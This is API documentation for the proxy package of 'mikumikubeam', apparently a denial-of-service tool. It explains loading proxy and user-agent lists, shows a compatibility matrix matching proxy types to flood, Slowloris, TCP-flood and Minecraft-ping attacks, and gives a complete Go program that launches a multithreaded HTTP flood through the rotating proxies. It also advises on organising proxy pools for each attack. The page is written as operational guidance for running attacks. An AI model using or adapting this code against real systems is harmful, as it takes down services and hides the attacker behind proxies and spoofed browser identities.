Skip to main content
The proxy package provides utilities for loading proxies from files, parsing user agent lists, and filtering proxies by attack method.

Package Overview

import "github.com/sammwyy/mikumikubeam/internal/proxy"
This package handles:
  • Loading proxies from text files with various formats
  • Parsing authentication credentials
  • Loading user agent lists
  • Filtering proxies by protocol compatibility

Functions

LoadProxies

func LoadProxies(path string) ([]engine.Proxy, error)
Loads and parses proxies from a text file. Supports multiple formats and protocols. Parameters: Returns:
proxies
[]engine.Proxy
Parsed proxy list
error
error
Error if file cannot be read or parsed
Supported Formats:
host:port
192.168.1.100:8080
example.com:3128
Parsing Rules:
  • Default protocol: http
  • Explicit protocol: http://, https://, socks4://, socks5://
  • Protocol prefix is removed from the host string
  • Regex pattern: ^([^:]+):([^@]+)@(.+)$
  • Format: username:password@host:port
  • Username and password stored in Proxy.Username and Proxy.Password
  • Credentials removed from host string after extraction
  • Default port: 8080
  • Custom port: parsed from host:port format
  • Invalid port numbers fall back to 8080
  • Lines starting with # are ignored
  • Empty lines and whitespace-only lines are skipped
  • Leading/trailing whitespace is trimmed from all lines
Example:
proxies, err := proxy.LoadProxies("proxies.txt")
if err != nil {
    log.Fatalf("Failed to load proxies: %v", err)
}

fmt.Printf("Loaded %d proxies\n", len(proxies))
for _, p := range proxies {
    fmt.Printf("%s://%s:%d\n", p.Protocol, p.Host, p.Port)
    if p.Username != "" {
        fmt.Printf("  Auth: %s:%s\n", p.Username, p.Password)
    }
}
Output:
Loaded 3 proxies
http://192.168.1.100:8080
socks5://proxy.example.com:1080
  Auth: admin:secret
https://secure-proxy.com:443

LoadUserAgents

func LoadUserAgents(path string) ([]string, error)
Loads user agent strings from a text file (one per line). Parameters: Returns:
userAgents
[]string
List of user agent strings
error
error
Error if file cannot be read
File Format:
user-agents.txt
# Desktop browsers
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

# Mobile browsers
Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1
Mozilla/5.0 (Linux; Android 13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36
Processing:
  • Splits file by newlines
  • Trims whitespace from each line
  • Skips empty lines
  • Skips lines starting with # (comments)
Example:
userAgents, err := proxy.LoadUserAgents("user-agents.txt")
if err != nil {
    log.Fatalf("Failed to load user agents: %v", err)
}

fmt.Printf("Loaded %d user agents\n", len(userAgents))

// Randomly select a user agent
import "math/rand"
ua := userAgents[rand.Intn(len(userAgents))]
fmt.Printf("Selected: %s\n", ua)

FilterByMethod

func FilterByMethod(proxies []engine.Proxy, method engine.AttackKind) []engine.Proxy
Filters proxies to only those compatible with the given attack method. Parameters: Returns:
filtered
[]engine.Proxy
Proxies compatible with the specified method
Compatibility Matrix:
Attack Methodhttphttpssocks4socks5
http_flood
http_bypass
http_slowloris
tcp_flood
minecraft_ping
Why SOCKS-only for some attacks?HTTP/HTTPS proxies work at the application layer and can only forward HTTP requests. Attacks like Slowloris, TCP flood, and Minecraft ping require raw TCP connections, which only SOCKS proxies support.
Example:
allProxies, _ := proxy.LoadProxies("proxies.txt")

// Filter for HTTP flood (all protocols work)
httpProxies := proxy.FilterByMethod(allProxies, engine.AttackHTTPFlood)
fmt.Printf("HTTP Flood: %d proxies\n", len(httpProxies))

// Filter for Slowloris (SOCKS only)
slowlorisProxies := proxy.FilterByMethod(allProxies, engine.AttackHTTPSlowloris)
fmt.Printf("Slowloris: %d proxies\n", len(slowlorisProxies))

// Filter for TCP flood (SOCKS only)
tcpProxies := proxy.FilterByMethod(allProxies, engine.AttackTCPFlood)
fmt.Printf("TCP Flood: %d proxies\n", len(tcpProxies))
Output:
HTTP Flood: 150 proxies
Slowloris: 45 proxies
TCP Flood: 45 proxies

Complete Usage Example

package main

import (
    "context"
    "log"
    "time"
    
    "github.com/sammwyy/mikumikubeam/internal/engine"
    "github.com/sammwyy/mikumikubeam/internal/proxy"
    "github.com/sammwyy/mikumikubeam/internal/attacks/http"
    targetpkg "github.com/sammwyy/mikumikubeam/pkg/target"
)

func main() {
    // 1. Load proxies from file
    allProxies, err := proxy.LoadProxies("proxies.txt")
    if err != nil {
        log.Fatalf("Failed to load proxies: %v", err)
    }
    log.Printf("Loaded %d proxies", len(allProxies))
    
    // 2. Load user agents
    userAgents, err := proxy.LoadUserAgents("user-agents.txt")
    if err != nil {
        log.Fatalf("Failed to load user agents: %v", err)
    }
    log.Printf("Loaded %d user agents", len(userAgents))
    
    // 3. Choose attack method
    attackMethod := engine.AttackHTTPFlood
    
    // 4. Filter proxies by method
    filteredProxies := proxy.FilterByMethod(allProxies, attackMethod)
    log.Printf("Filtered to %d proxies for %s", len(filteredProxies), attackMethod)
    
    // 5. Parse target
    targetNode, err := targetpkg.Parse("https://example.com")
    if err != nil {
        log.Fatalf("Invalid target: %v", err)
    }
    
    // 6. Setup engine
    registry := engine.NewRegistry()
    registry.Register(engine.AttackHTTPFlood, http.NewFloodWorker())
    eng := engine.NewEngine(*registry)
    
    // 7. Start attack
    params := engine.AttackParams{
        Target:      "https://example.com",
        TargetNode:  targetNode,
        Duration:    60 * time.Second,
        PacketDelay: 10 * time.Millisecond,
        PacketSize:  1024,
        Method:      attackMethod,
        Threads:     16,
        Verbose:     true,
    }
    
    ctx := context.Background()
    statsCh, err := eng.Start("attack-1", ctx, params, filteredProxies, userAgents)
    if err != nil {
        log.Fatalf("Failed to start attack: %v", err)
    }
    
    // 8. Monitor stats
    for stat := range statsCh {
        log.Printf("PPS: %d | Total: %d | Proxies: %d",
            stat.PacketsPerS, stat.TotalPackets, stat.Proxies)
        if stat.Log != "" {
            log.Printf("  %s", stat.Log)
        }
    }
    
    log.Println("Attack completed")
}

Proxy File Best Practices

Use comments to organize proxies by protocol, region, or purpose:
# HTTP Proxies - US East
http://us-east-1.proxy.com:8080
http://us-east-2.proxy.com:8080

# SOCKS5 Proxies - EU
socks5://eu-proxy-1.com:1080
socks5://eu-proxy-2.com:1080

# Premium Proxies (authenticated)
http://user:[email protected]:3128
Regularly validate proxies before use:
func validateProxies(proxies []engine.Proxy) []engine.Proxy {
    valid := []engine.Proxy{}
    for _, p := range proxies {
        if testProxy(p) {
            valid = append(valid, p)
        }
    }
    return valid
}
Maintain separate files for different attack requirements:
proxies/
├── http-proxies.txt      # For HTTP flood/bypass
├── socks-proxies.txt     # For Slowloris/TCP/Minecraft
└── all-proxies.txt       # Master list
Store authenticated proxies in separate, secured files:
premium-proxies.txt
# Premium SOCKS5 - Provider A
socks5://account1:[email protected]:1080
socks5://account2:[email protected]:1080
Ensure proper file permissions:
chmod 600 premium-proxies.txt

Error Handling

File Not Found

proxies, err := proxy.LoadProxies("missing.txt")
if err != nil {
    if os.IsNotExist(err) {
        log.Fatal("Proxy file not found")
    }
    log.Fatalf("Error loading proxies: %v", err)
}

Empty Proxy List

proxies, _ := proxy.LoadProxies("proxies.txt")
if len(proxies) == 0 {
    log.Fatal("No valid proxies found in file")
}

filtered := proxy.FilterByMethod(proxies, engine.AttackHTTPSlowloris)
if len(filtered) == 0 {
    log.Fatal("No SOCKS proxies available for Slowloris attack")
}

Malformed Lines

// LoadProxies silently skips malformed lines
// To track skipped lines, implement custom parsing:

func loadProxiesWithValidation(path string) ([]engine.Proxy, []error) {
    file, _ := os.Open(path)
    defer file.Close()
    
    var proxies []engine.Proxy
    var errors []error
    
    scanner := bufio.NewScanner(file)
    lineNum := 0
    for scanner.Scan() {
        lineNum++
        line := strings.TrimSpace(scanner.Text())
        
        // Skip comments and empty lines
        if line == "" || strings.HasPrefix(line, "#") {
            continue
        }
        
        proxy, err := parseProxy(line)
        if err != nil {
            errors = append(errors, fmt.Errorf("line %d: %w", lineNum, err))
            continue
        }
        proxies = append(proxies, proxy)
    }
    
    return proxies, errors
}

See Also

Build docs developers (and LLMs) love